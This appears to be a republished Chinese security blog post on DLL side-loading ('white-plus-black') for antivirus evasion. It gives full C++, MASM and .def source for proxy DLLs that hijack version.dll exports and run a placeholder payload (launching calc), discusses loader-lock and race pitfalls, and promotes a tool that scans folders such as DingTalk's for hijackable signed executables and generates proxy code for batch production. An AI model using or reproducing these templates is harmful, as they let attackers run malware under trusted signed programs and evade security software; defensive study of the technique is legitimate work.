掘影—白加黑自动挖掘工具&DLL侧加载

admin 2026-04-13 04:58:13 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了白加黑攻击中DLL侧加载技术原理,重点介绍了静态加载与动态加载的区别及利用方式。针对DLL劫持中的DLLmain死锁问题,文章提出了三种函数转发方案:链式转发通过#pragmacomment实现简单转发但需上传原DLL;手动转发可指定系统DLL但需处理函数参数;汇编转发通过跳转指令避免堆栈操作。文档还提供了具体的代码示例和实现注意事项。 综合评分: 78 文章分类: 恶意软件,渗透测试,红队,免杀,漏洞分析


cover_image

掘影—白加黑自动挖掘工具&DLL侧加载

原创

脸红ฅฅ的思春期 脸红ฅฅ的思春期

Heri76安全

2026年4月10日 18:04 广东

在小说阅读器读本章

去阅读

前言

在目前的免杀对抗中,包括这几年的银狐热门手法,白加黑都是一个绕不过的技术点。很多人喜欢称为DLL劫持或者DLL侧加载,但无论怎么叫,其原理都是一样的,通过一个白的exe去加载黑的DLL。

加载方式

静态加载

静态加载DLL(也称为隐式加载或预加载),指的是程序一启动,操作系统就会把它依赖的所有静态加载的DLL一起加载到内存中。是一种“硬依赖”或“强绑定”,在编译链接阶段就已经确定, 简单直接。要么所有东西都准备好,程序正常运行;要么任何一个DLL缺失,程序根本无法启动,并弹出一个类似“找不到xxx.dll”的错误。

从一个exe的导入表便可以看到静态加载了哪些DLL,值得一提的是,DLL里面的导出函数不一定被使用。

动态加载

动态加载(也称为显式加载或运行时加载),这是指程序在运行时根据需要动态地加载和卸载动态链接库。通常使用LoadLibrary和GetProcAddress函数来动态加载DLL。

这里简单说一下动态加载DLL的顺序。

1、检查DLL是否已经被加载进内存

2、检查DLL是否存在于Known DLLs中

3、检查应用当前目录是否存在DLL

4、检查System32目录下面是否存在DLL

5、检查当前执行目录下是否存在DLL

6、检测%PATH%环境变量 下是否存在DLL

就目前的白加黑中绝大多数都是利用第三步,也就是检查应用当前目录是否存在DLL,来进行DLL劫持。

DLLmain死锁

当动态库被加载时,会执行动态库中的dllmain函数。但当程序进入dllmain函数时,会被施加一个锁的状态,该锁的存在就是微软为了限制dllmain的行为做了一些安全限制。

死锁在DLL劫持中也是老生常谈的问题了,这里不过多赘述,感兴趣的可以参考下面的文章。

https://elliotonsecurity.com/perfect-dll-hijacking/#about-dllmain

函数转发

链式转发

最常见的就是链式转发,通过 #pragma comment 转发指定导出函数到原本的DLL中。

#pragma comment(linker, "/EXPORT:ExportedFunctionName=OriginalDllName.OriginalFunctionName")
// MyHijackedDll.cpp#include&nbsp;<windows.h>
// --- 导出函数转发 ---// 将对 HelloWorld 的调用转发到 version_real.dll 中的 HelloWorld 函数#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:HelloWorld=version_real.HelloWorld")
// 将对 Add 的调用转发到 version_real.dll 中的 Add 函数#pragma&nbsp;comment(linker,&nbsp;"/EXPORT:Add=version_real.Add")
// 你也可以转发通过序号导出的函数// #pragma comment(linker, "/EXPORT:SomeFunc=version_real.#123") // 假设SomeFunc按序号123导出
BOOL&nbsp;APIENTRY DllMain(HMODULE hModule,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DWORD &nbsp;ul_reason_for_call,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LPVOID lpReserved){&nbsp; &nbsp;&nbsp;switch&nbsp;(ul_reason_for_call)&nbsp; &nbsp; {&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_ATTACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 在这里执行你的恶意(建议创建一个新线程去执行,防止死锁)&nbsp; &nbsp; &nbsp; &nbsp; MessageBox(NULL, L"DLL Hijacked!", L"Pwned", MB_OK);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_ATTACH:&nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_DETACH:&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_DETACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}

简单粗暴,但是缺点也很明显,就是有多少个导出函数,就要手写多少个转发链接。并且不能指定转发到System目录下面的系统DLL,这就导致了一个问题,当你劫持系统的DLL时,你除了上传黑DLL之外还得把原版的系统DLL上传到同一目录,这样才能转发成功。

手动转发

手动转发可以避免上述所提到的情况,可以指定加载System目录下面的系统DLL。原理也非常简单,通过劫持导出函数来实现即可。当白程序调用 MainEntry 时,它实际上调用的是我们写的恶意代码,等我们干完坏事,再由我们手动去加载 xxx.dll 里的真实代码。

#include&nbsp;<windows.h>// 定义一个函数指针类型,用于匹配原版 MainEntry 的样子// (假设它没有参数,如果不匹配可能会崩溃,但不影响测试弹计算器)typedef&nbsp;void&nbsp;(*OriginalMainEntryType)();
// 我们自己导出一个同名函数,拦截白程序的调用!extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;void&nbsp;MainEntry()&nbsp;{
&nbsp; &nbsp;&nbsp;// 1. 我们的恶意载荷(因为这是主线程调用的,不用担心竞态条件,必定执行完毕)&nbsp; &nbsp;&nbsp;WinExec("calc.exe", SW_SHOW);
&nbsp; &nbsp;&nbsp;// 2. 载荷执行完后,为了让白程序正常工作,我们需要动态调用真正的 DLL&nbsp; &nbsp; HMODULE hRealDll =&nbsp;LoadLibraryA("xxx.dll");&nbsp; &nbsp;&nbsp;if&nbsp;(hRealDll !=&nbsp;NULL) {&nbsp; &nbsp; &nbsp; &nbsp; OriginalMainEntryType RealMainEntry = (OriginalMainEntryType)GetProcAddress(hRealDll,&nbsp;"MainEntry");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(RealMainEntry !=&nbsp;NULL) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 3. 把控制权交还给真实的业务逻辑&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;RealMainEntry();&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}
BOOL APIENTRY&nbsp;DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){&nbsp; &nbsp;&nbsp;switch&nbsp;(ul_reason_for_call)&nbsp; &nbsp; {&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_ATTACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 在高级手法中,我们不在 DllMain 里开线程干活了,太容易出问题&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 只是取消线程通知优化一下&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;DisableThreadLibraryCalls(hModule);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}

这样子的好处是可以加载指定的DLL,无需上传额外的DLL到同一目录。缺点也很明显,你要保证劫持的导出函数在白exe里面被调用才行,而且要知道原本的DLL导出函数是否传参,否则会加载失败。

通过汇编转发

既然手动转发要知道导出函数是否传参,那么我们劫持后直接跳走,不碰堆栈。

实现如下,原理较为简单,没啥技术含量。

//dllmain.cpp
DWORD WINAPI&nbsp;Load()&nbsp;{
&nbsp; &nbsp; HMODULE hRealDll = LoadLibraryExW(L"version.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
&nbsp; &nbsp;&nbsp;//获取导出函数地址,并且存档数组中&nbsp; &nbsp; RealFuncAddresses[0] = GetProcAddress(hRealDll,&nbsp;"GetFileVersionInfoA");&nbsp; &nbsp; RealFuncAddresses[1] = GetProcAddress(hRealDll,&nbsp;"GetFileVersionInfoByHandle");&nbsp; &nbsp; RealFuncAddresses[2] = GetProcAddress(hRealDll,&nbsp;"GetFileVersionInfoExA");&nbsp; &nbsp; RealFuncAddresses[3] = GetProcAddress(hRealDll,&nbsp;"GetFileVersionInfoExW");&nbsp; &nbsp; RealFuncAddresses[4] = GetProcAddress(hRealDll,&nbsp;"GetFileVersionInfoSizeA");&nbsp; &nbsp; RealFuncAddresses[5] = GetProcAddress(hRealDll,&nbsp;"GetFileVersionInfoSizeExA");&nbsp; &nbsp; RealFuncAddresses[6] = GetProcAddress(hRealDll,&nbsp;"GetFileVersionInfoSizeExW");&nbsp; &nbsp; RealFuncAddresses[7] = GetProcAddress(hRealDll,&nbsp;"GetFileVersionInfoSizeW");&nbsp; &nbsp; RealFuncAddresses[8] = GetProcAddress(hRealDll,&nbsp;"GetFileVersionInfoW");&nbsp; &nbsp; RealFuncAddresses[9] = GetProcAddress(hRealDll,&nbsp;"VerFindFileA");&nbsp; &nbsp; RealFuncAddresses[10] = GetProcAddress(hRealDll,&nbsp;"VerFindFileW");&nbsp; &nbsp; RealFuncAddresses[11] = GetProcAddress(hRealDll,&nbsp;"VerInstallFileA");&nbsp; &nbsp; RealFuncAddresses[12] = GetProcAddress(hRealDll,&nbsp;"VerInstallFileW");&nbsp; &nbsp; RealFuncAddresses[13] = GetProcAddress(hRealDll,&nbsp;"VerLanguageNameA");&nbsp; &nbsp; RealFuncAddresses[14] = GetProcAddress(hRealDll,&nbsp;"VerLanguageNameW");&nbsp; &nbsp; RealFuncAddresses[15] = GetProcAddress(hRealDll,&nbsp;"VerQueryValueA");&nbsp; &nbsp; RealFuncAddresses[16] = GetProcAddress(hRealDll,&nbsp;"VerQueryValueW");    return&nbsp;0;
}
BOOL APIENTRY&nbsp;DllMain(&nbsp;HMODULE hModule,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DWORD &nbsp;ul_reason_for_call,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LPVOID lpReserved&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;){&nbsp; &nbsp;&nbsp;switch&nbsp;(ul_reason_for_call)&nbsp; &nbsp; {&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_ATTACH: {&nbsp; &nbsp; &nbsp; &nbsp; DisableThreadLibraryCalls(hModule);&nbsp; &nbsp; &nbsp; &nbsp; Load();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//创建新线程去执行恶意代码&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_ATTACH:&nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_DETACH:&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_DETACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}
//proxy.asm//直接通过汇编跳转到对应的导出函数地址,实现转发.code
EXTERN RealFuncAddresses:QWORD
GetFileVersionInfoA PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 0]GetFileVersionInfoA ENDP
GetFileVersionInfoByHandle PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 8] &nbsp;; 1 * 8GetFileVersionInfoByHandle ENDP
GetFileVersionInfoExA PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 16] ; 2 * 8GetFileVersionInfoExA ENDP
GetFileVersionInfoExW PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 24] ; 3 * 8GetFileVersionInfoExW ENDP
GetFileVersionInfoSizeA PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 32] ; 4 * 8GetFileVersionInfoSizeA ENDP
GetFileVersionInfoSizeExA PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 40] ; 5 * 8GetFileVersionInfoSizeExA ENDP
GetFileVersionInfoSizeExW PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 48] ; 6 * 8GetFileVersionInfoSizeExW ENDP
GetFileVersionInfoSizeW PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 56] ; 7 * 8GetFileVersionInfoSizeW ENDP
GetFileVersionInfoW PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 64] ; 8 * 8GetFileVersionInfoW ENDP
VerFindFileA PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 72] ; 9 * 8VerFindFileA ENDP
VerFindFileW PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 80] ; 10 * 8VerFindFileW ENDP
VerInstallFileA PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 88] ; 11 * 8VerInstallFileA ENDP
VerInstallFileW PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 96] ; 12 * 8VerInstallFileW ENDP
VerLanguageNameA PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 104] ; 13 * 8VerLanguageNameA ENDP
VerLanguageNameW PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 112] ; 14 * 8VerLanguageNameW ENDP
VerQueryValueA PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 120] ; 15 * 8VerQueryValueA ENDP
VerQueryValueW PROC&nbsp; &nbsp; jmp qword ptr [RealFuncAddresses + 128] ; 16 * 8VerQueryValueW ENDP
END
//Source.def//导出函数LIBRARY&nbsp;"version"EXPORTS&nbsp; &nbsp; GetFileVersionInfoA&nbsp;@1&nbsp; &nbsp; GetFileVersionInfoByHandle&nbsp;@2&nbsp; &nbsp; GetFileVersionInfoExA&nbsp;@3&nbsp; &nbsp; GetFileVersionInfoExW&nbsp;@4&nbsp; &nbsp; GetFileVersionInfoSizeA&nbsp;@5&nbsp; &nbsp; GetFileVersionInfoSizeExA&nbsp;@6&nbsp; &nbsp; GetFileVersionInfoSizeExW&nbsp;@7&nbsp; &nbsp; GetFileVersionInfoSizeW&nbsp;@8&nbsp; &nbsp; GetFileVersionInfoW&nbsp;@9&nbsp; &nbsp; VerFindFileA&nbsp;@10&nbsp; &nbsp; VerFindFileW&nbsp;@11&nbsp; &nbsp; VerInstallFileA&nbsp;@12&nbsp; &nbsp; VerInstallFileW&nbsp;@13&nbsp; &nbsp; VerLanguageNameA&nbsp;@14&nbsp; &nbsp; VerLanguageNameW&nbsp;@15&nbsp; &nbsp; VerQueryValueA&nbsp;@16&nbsp; &nbsp; VerQueryValueW&nbsp;@17

竞态条件

简单来说就是我们创建一个新的线程去执行恶意代码,但是主程序退出太快了,导致还没执行到恶意线程整个程序就结束了。

下面的参考文章有提到这一问题,并且给出了对应的环节措施

https://elliotonsecurity.com/perfect-dll-hijacking/

其中里面着重提到竞态条件。

自动挖掘工具

刚好有空,就顺手写了一个DLL侧加载的挖掘工具,主要是扫描指定路径下的哪些白exe可以用来做白加黑,当然目前只支持扫描静态加载的DLL。

用法非常简单,首先选定扫描路径,这里我用扫描钉钉目录。最大业务DLL数指的是该白exe最多依赖多少个自身的业务DLL,这里我选0个,代表扫描出来的exe不能有加载业务DLL的行为,全都加载系统自带的DLL。

扫描完可以手动保存为TXT。

根据扫描结果挑选白exe以及要劫持的DLL,这里我随便选了kashost.exe和version.dll。

来到代码生成页面,直接指定要劫持的DLL和输出目录即可。

这样就会生成三个文件,分别是dllmain.cpp,proxy.asm,exports.def。dllmain.cpp是DLL的主文件,里面负责指定恶意代码,proxy.asm负责通过汇编实现转发,exports.def负责将函数导出。

直接把三个文件都添加到项目即可。

这样我们就省去了寻找DLL和写转发函数的工作,可以批量高效的制作白加黑。

总结

DLL侧载并不是新鲜的技术,现在也在各种攻防演练、apt等攻击场景中多有涉猎。本篇文章仅仅总结了一下DLL侧加载的使用,以及通过工具自动挖掘和生成。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

工具链接:

zskxc666/DLL-Side-Loading-Exploitation: 掘影—白加黑自动挖掘工具


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Heri76安全 脸红ฅฅ的思春期 脸红ฅฅ的思春期《掘影—白加黑自动挖掘工具&DLL侧加载》

评论:0   参与:  0